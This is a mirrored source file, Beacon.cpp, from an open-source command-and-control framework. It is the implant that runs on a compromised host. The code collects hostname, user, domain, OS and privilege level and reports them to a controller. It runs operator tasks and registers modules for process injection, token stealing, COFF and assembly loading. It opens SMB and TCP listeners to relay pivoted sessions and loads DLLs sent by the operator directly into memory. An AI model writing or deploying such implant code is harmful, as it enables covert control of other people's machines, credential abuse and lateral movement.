mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
kali
596 lines
15 KiB
C++
596 lines
15 KiB
C++
#include "Beacon.hpp"
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#include <random>
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#ifdef __linux__
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#include <unistd.h>
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#include <sys/types.h>
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#include <pwd.h>
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#include <sys/utsname.h>
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#elif _WIN32
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#include <wtsapi32.h>
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#include <MemoryModule.h>
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#define INFO_BUFFER_SIZE 32767
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#define ENV_VAR_STRING_COUNT (sizeof(envVarStrings)/sizeof(TCHAR*))
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typedef ModuleCmd* (*constructProc)();
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#pragma comment(lib, "Wtsapi32.lib")
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#endif
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using namespace std;
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#ifdef __linux__
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#elif _WIN32
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enum IntegrityLevel
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{
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INTEGRITY_UNKNOWN,
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UNTRUSTED_INTEGRITY,
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LOW_INTEGRITY,
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MEDIUM_INTEGRITY,
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HIGH_INTEGRITY,
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};
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IntegrityLevel GetCurrentProcessIntegrityLevel()
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{
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HANDLE hToken = NULL;
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BOOL result = false;
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TOKEN_USER* tokenUser = NULL;
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DWORD dwLength = 0;
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OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
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DWORD token_info_length = 0;
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if (::GetTokenInformation(hToken, TokenIntegrityLevel,
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nullptr, 0, &token_info_length) ||
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::GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
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return INTEGRITY_UNKNOWN;
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}
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auto token_label_bytes = std::make_unique<char[]>(token_info_length);
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TOKEN_MANDATORY_LABEL* token_label =
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reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get());
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if (!::GetTokenInformation(hToken, TokenIntegrityLevel,
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token_label, token_info_length,
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&token_info_length)) {
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return INTEGRITY_UNKNOWN;
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}
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DWORD integrity_level = *::GetSidSubAuthority(
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token_label->Label.Sid,
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static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) -
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1));
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if (integrity_level < SECURITY_MANDATORY_LOW_RID)
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return UNTRUSTED_INTEGRITY;
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if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID)
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return LOW_INTEGRITY;
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if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID &&
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integrity_level < SECURITY_MANDATORY_HIGH_RID) {
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return MEDIUM_INTEGRITY;
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}
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if (integrity_level >= SECURITY_MANDATORY_HIGH_RID)
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return HIGH_INTEGRITY;
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return INTEGRITY_UNKNOWN;
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}
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#endif
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Beacon::Beacon(std::string& ip, int port)
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{
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m_ip = ip;
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m_port = port;
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m_beaconHash = random_string(SizeBeaconHash);
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m_aliveTimerMs = 5000;
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#ifdef __linux__
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std::unique_ptr<AssemblyExec> assemblyExec = std::make_unique<AssemblyExec>();
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m_moduleCmd.push_back(std::move(assemblyExec));
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std::unique_ptr<Upload> upload = std::make_unique<Upload>();
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m_moduleCmd.push_back(std::move(upload));
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std::unique_ptr<Run> run = std::make_unique<Run>();
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m_moduleCmd.push_back(std::move(run));
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std::unique_ptr<Download> download = std::make_unique<Download>();
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m_moduleCmd.push_back(std::move(download));
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std::unique_ptr<Inject> inject = std::make_unique<Inject>();
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m_moduleCmd.push_back(std::move(inject));
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std::unique_ptr<Script> script = std::make_unique<Script>();
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m_moduleCmd.push_back(std::move(script));
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std::unique_ptr<PrintWorkingDirectory> printWorkingDirectory = std::make_unique<PrintWorkingDirectory>();
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m_moduleCmd.push_back(std::move(printWorkingDirectory));
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std::unique_ptr<ChangeDirectory> changeDirectory = std::make_unique<ChangeDirectory>();
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m_moduleCmd.push_back(std::move(changeDirectory));
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std::unique_ptr<ListDirectory> listDirectory = std::make_unique<ListDirectory>();
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m_moduleCmd.push_back(std::move(listDirectory));
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std::unique_ptr<ListProcesses> listProcesses = std::make_unique<ListProcesses>();
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m_moduleCmd.push_back(std::move(listProcesses));
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std::unique_ptr<MakeToken> makeToken = std::make_unique<MakeToken>();
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m_moduleCmd.push_back(std::move(makeToken));
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std::unique_ptr<Rev2self> rev2self = std::make_unique<Rev2self>();
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m_moduleCmd.push_back(std::move(rev2self));
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std::unique_ptr<StealToken> stealToken = std::make_unique<StealToken>();
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m_moduleCmd.push_back(std::move(stealToken));
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std::unique_ptr<CoffLoader> coffLoader = std::make_unique<CoffLoader>();
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m_moduleCmd.push_back(std::move(coffLoader));
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#elif _WIN32
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#endif
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#ifdef __linux__
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char hostname[HOST_NAME_MAX];
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char username[LOGIN_NAME_MAX];
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gethostname(hostname, HOST_NAME_MAX);
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getlogin_r(username, LOGIN_NAME_MAX);
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m_hostname = hostname;
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m_username = username;
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uid_t uid = geteuid ();
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struct passwd *pw = getpwuid (uid);
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if (pw)
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m_username = std::string(pw->pw_name);
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struct utsname unameData;
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uname(&unameData);
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// TODO what to do with all that info ?? How to get it ??
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// std::cout << unameData.sysname << std::endl;
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// std::cout << unameData.nodename << std::endl;
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// std::cout << unameData.release << std::endl;
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// std::cout << unameData.version << std::endl;
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// std::cout << unameData.machine << std::endl;
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m_arch = unameData.machine;
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m_privilege = "user";
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if(m_username=="root")
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m_privilege = "root";
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m_os = unameData.sysname;
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m_os += " ";
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m_os += unameData.release;
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#elif _WIN32
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TCHAR infoBuf[INFO_BUFFER_SIZE];
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DWORD bufCharCount = INFO_BUFFER_SIZE;
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// Get and display the name of the computer.
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m_hostname = "unknown";
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if( GetComputerName( infoBuf, &bufCharCount ) )
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m_hostname = infoBuf;
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std::string username1;
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if( GetUserName( infoBuf, &bufCharCount ) )
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username1 = infoBuf;
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// ??
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std::string acctName;
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std::string domainname;
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TOKEN_USER tokenUser;
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ZeroMemory(&tokenUser, sizeof(TOKEN_USER));
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DWORD tokenUserLength = 0;
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PTOKEN_USER pTokenUser;
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GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL,
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0, &tokenUserLength);
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pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength];
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if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength))
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{
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TCHAR szUserName[_MAX_PATH];
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DWORD dwUserNameLength = _MAX_PATH;
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TCHAR szDomainName[_MAX_PATH];
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DWORD dwDomainNameLength = _MAX_PATH;
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SID_NAME_USE sidNameUse;
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LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse);
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acctName=szUserName;
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domainname=szDomainName;
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delete pTokenUser;
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}
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if(!domainname.empty())
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m_username+=domainname;
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else if(!m_hostname.empty())
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m_username+=m_hostname;
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else
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m_username+=".";
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m_username+="\\";
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if(!acctName.empty())
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m_username+=acctName;
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else if(!username1.empty())
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m_username+=username1;
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else
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m_username+="unknow";
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SYSTEM_INFO systemInfo = { 0 };
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GetNativeSystemInfo(&systemInfo);
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m_arch = "x64";
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if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
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m_arch = "x86";
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m_os = "Windows";
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IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel();
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m_privilege = "-";
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if (integrityLevel == INTEGRITY_UNKNOWN)
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m_privilege = "UNKNOWN";
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else if (integrityLevel == UNTRUSTED_INTEGRITY)
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m_privilege = "UNTRUSTED";
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else if (integrityLevel == LOW_INTEGRITY)
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m_privilege = "LOW";
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else if (integrityLevel == MEDIUM_INTEGRITY)
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m_privilege = "MEDIUM";
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else if (integrityLevel == HIGH_INTEGRITY)
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m_privilege = "HIGH";
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#endif
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}
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bool Beacon::cmdToTasks(const std::string& input)
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{
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MultiBundleC2Message multiBundleC2Message;
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multiBundleC2Message.ParseFromArray(input.data(), (int)input.size());
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for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
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{
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BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
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// Handle own tasks
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std::string beaconhash = bundleC2Message->beaconhash();
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if(beaconhash==m_beaconHash)
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{
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for (int j = 0; j < bundleC2Message->c2messages_size(); j++)
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{
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const C2Message& c2Message = bundleC2Message->c2messages(j);
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m_tasks.push(c2Message);
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}
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}
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// handle child sessions tasks
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else
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{
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for(int i=0; i<m_listeners.size(); i++)
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{
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for(int j=0; j<m_listeners[i]->getNumberOfSession(); j++)
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{
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std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);
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if(ptr->getBeaconHash()==beaconhash)
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{
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for (int k = 0; k < bundleC2Message->c2messages_size(); k++)
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{
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const C2Message& c2Message = bundleC2Message->c2messages(k);
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m_listeners[i]->queueTask(beaconhash, c2Message);
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}
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}
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}
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}
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}
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}
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return true;
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}
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bool Beacon::taskResultsToCmd(std::string& output)
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{
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MultiBundleC2Message multiBundleC2Message;
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BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
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// Handle own results
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bundleC2Message->set_beaconhash(m_beaconHash);
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bundleC2Message->set_hostname(m_hostname);
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bundleC2Message->set_username(m_username);
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bundleC2Message->set_arch(m_arch);
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bundleC2Message->set_privilege(m_privilege);
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bundleC2Message->set_os(m_os);
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while(!m_taskResult.empty())
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{
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C2Message c2MessageRet=m_taskResult.front();
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C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
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addedC2MessageRet->CopyFrom(c2MessageRet);
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m_taskResult.pop();
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}
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// handle child sessions results
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for(int i=0; i<m_listeners.size(); i++)
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{
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for(int j=0; j<m_listeners[i]->getNumberOfSession(); j++)
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{
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std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);
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BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
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// If it's the first listener to handle the message
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if(bundleC2Message->listenerhash().empty())
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bundleC2Message->set_listenerhash(m_listeners[i]->getListenerHash());
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bundleC2Message->set_beaconhash(ptr->getBeaconHash());
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bundleC2Message->set_hostname(ptr->getHostname());
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bundleC2Message->set_username(ptr->getUsername());
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bundleC2Message->set_arch(ptr->getArch());
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bundleC2Message->set_privilege(ptr->getPrivilege());
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bundleC2Message->set_os(ptr->getOs());
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C2Message c2Message = ptr->getTaskResult();
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while(!c2Message.instruction().empty())
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{
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C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
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addedC2MessageRet->CopyFrom(c2Message);
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c2Message = ptr->getTaskResult();
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}
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}
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}
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multiBundleC2Message.SerializeToString(&output);
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return true;
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}
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bool Beacon::runTasks()
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{
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while(!m_tasks.empty())
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{
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C2Message c2Message = m_tasks.front();
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m_tasks.pop();
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C2Message c2RetMessage;
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bool exit = execInstruction(c2Message, c2RetMessage);
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std::string out;
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c2RetMessage.SerializeToString(&out);
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m_taskResult.push(c2RetMessage);
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if(exit)
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return exit;
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}
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return false;
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}
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void Beacon::sleep()
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{
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std::this_thread::sleep_for(std::chrono::milliseconds(m_aliveTimerMs));
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}
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// Main function that execute cmd
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bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage)
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{
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string instruction = c2Message.instruction();
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string cmd = c2Message.cmd();
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c2RetMessage.set_instruction(instruction);
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c2RetMessage.set_cmd(cmd);
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if (instruction == EndCmd)
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{
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c2RetMessage.set_returnvalue(CmdStatusSuccess);
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return true;
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}
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else if (instruction == SleepCmd)
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{
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std::string newSleepTimer = c2Message.cmd();
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try
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{
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m_aliveTimerMs = std::stoi(newSleepTimer)*1000;
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}
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catch (const std::invalid_argument& ia)
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{
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newSleepTimer = CmdStatusFail;
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}
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c2RetMessage.set_returnvalue(newSleepTimer);
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}
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else if(instruction == ListenerCmd)
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{
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std::vector<std::string> splitedCmd;
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std::string delimiter = " ";
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splitList(cmd, delimiter, splitedCmd);
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if(splitedCmd[0]==StartCmd)
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{
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if(splitedCmd[1]=="smb")
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{
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std::unique_ptr<ListenerSmb> listenerSmb = make_unique<ListenerSmb>("", 9999);
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std::string listenerHash = listenerSmb->getListenerHash();
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m_listeners.push_back(std::move(listenerSmb));
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// Respond with the listener hash
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(listenerHash);
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}
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else if(splitedCmd[1]=="tcp")
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{
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std::string localHost = splitedCmd[2];
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int localPort = std::stoi(splitedCmd[3]);
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std::vector<unique_ptr<Listener>>::iterator object =
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find_if(m_listeners.begin(), m_listeners.end(),
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[&](unique_ptr<Listener> & obj){ return obj->getPort() == localPort;}
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);
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if(object!=m_listeners.end())
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{
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std::string msg = "Listener already exist";
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// Respond the listener already exist
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c2RetMessage.set_cmd("");
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c2RetMessage.set_returnvalue(msg);
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}
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else
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{
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// TODO fail ??
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std::unique_ptr<ListenerTcp> listenerTcp = make_unique<ListenerTcp>(localHost, localPort);
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std::string listenerHash = listenerTcp->getListenerHash();
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m_listeners.push_back(std::move(listenerTcp));
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// Respond with the listener hash
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(listenerHash);
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}
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}
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}
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else if(splitedCmd[0]==StopCmd)
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{
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std::string listenerHash=splitedCmd[1];
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std::vector<unique_ptr<Listener>>::iterator object =
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find_if(m_listeners.begin(), m_listeners.end(),
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[&](unique_ptr<Listener> & obj){ return obj->getListenerHash() == listenerHash;}
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);
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std::string msg = "hash not found";
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if(object!=m_listeners.end())
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{
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m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object));
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std::move(*object);
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msg = listenerHash;
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}
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else
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cmd="";
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c2RetMessage.set_cmd(cmd);
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c2RetMessage.set_returnvalue(msg);
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}
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}
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else if(instruction == LoadC2Module)
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{
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#ifdef __linux__
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#elif _WIN32
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const std::string buffer = c2Message.data();
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HMEMORYMODULE handle = NULL;
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handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size());
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if (handle == NULL)
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{
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DWORD errorMessageID = ::GetLastError();
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if(errorMessageID == 0) {
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return false;
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}
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LPSTR messageBuffer = nullptr;
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//Ask Win32 to give us the string version of that message ID.
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//The parameters we pass in, tell Win32 to create the buffer that holds the message for us (because we don't yet know how long the message string will be).
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size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
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NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
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//Copy the error message into a std::string.
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std::string message(messageBuffer, size);
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//Free the Win32's string's buffer.
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LocalFree(messageBuffer);
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std::string msg = "Error MemoryLoadLibrary: ";
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msg+=message;
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c2RetMessage.set_returnvalue(msg);
|
|
return false;
|
|
}
|
|
|
|
// the DLL only exports one function, try to load by ordinal value
|
|
// If the dll export multiple function we got to make sur the export function come first (alphabetical number)
|
|
constructProc construct;
|
|
construct = (constructProc)MemoryGetProcAddress(handle, reinterpret_cast<LPCSTR>(0x01));
|
|
if (!construct != NULL)
|
|
{
|
|
std::string msg = "Error MemoryGetProcAddress";
|
|
c2RetMessage.set_returnvalue(msg);
|
|
return false;
|
|
}
|
|
|
|
ModuleCmd* moduleCmd = construct();
|
|
|
|
std::unique_ptr<ModuleCmd> moduleCmd_(moduleCmd);
|
|
m_moduleCmd.push_back(std::move(moduleCmd_));
|
|
|
|
std::string msg = "Module loaded successfully:\n";
|
|
msg += m_moduleCmd.back()->getInfo();
|
|
c2RetMessage.set_returnvalue(msg);
|
|
|
|
#endif
|
|
}
|
|
else if(instruction == UnloadC2Module)
|
|
{
|
|
#ifdef __linux__
|
|
#elif _WIN32
|
|
std::string moduleName = c2Message.cmd();
|
|
|
|
std::vector<unique_ptr<ModuleCmd>>::iterator object =
|
|
find_if(m_moduleCmd.begin(), m_moduleCmd.end(),
|
|
[&](unique_ptr<ModuleCmd> & obj){ return obj->getName() == moduleName;}
|
|
);
|
|
|
|
std::string msg = "module not found";
|
|
if(object!=m_moduleCmd.end())
|
|
{
|
|
m_moduleCmd.erase(std::remove(m_moduleCmd.begin(), m_moduleCmd.end(), *object));
|
|
std::move(*object);
|
|
msg = "Module ";
|
|
msg += moduleName;
|
|
msg += " removed.";
|
|
}
|
|
|
|
c2RetMessage.set_returnvalue(msg);
|
|
#endif
|
|
}
|
|
else
|
|
{
|
|
bool isModuleFound=false;
|
|
for(auto it = m_moduleCmd.begin() ; it != m_moduleCmd.end(); ++it )
|
|
{
|
|
if (instruction == (*it)->getName())
|
|
{
|
|
(*it)->process(c2Message, c2RetMessage);
|
|
isModuleFound=true;
|
|
}
|
|
}
|
|
if(!isModuleFound)
|
|
{
|
|
std::string msg = "Module ";
|
|
msg+=instruction;
|
|
msg+=" not found.";
|
|
c2RetMessage.set_returnvalue(msg);
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
|
|
|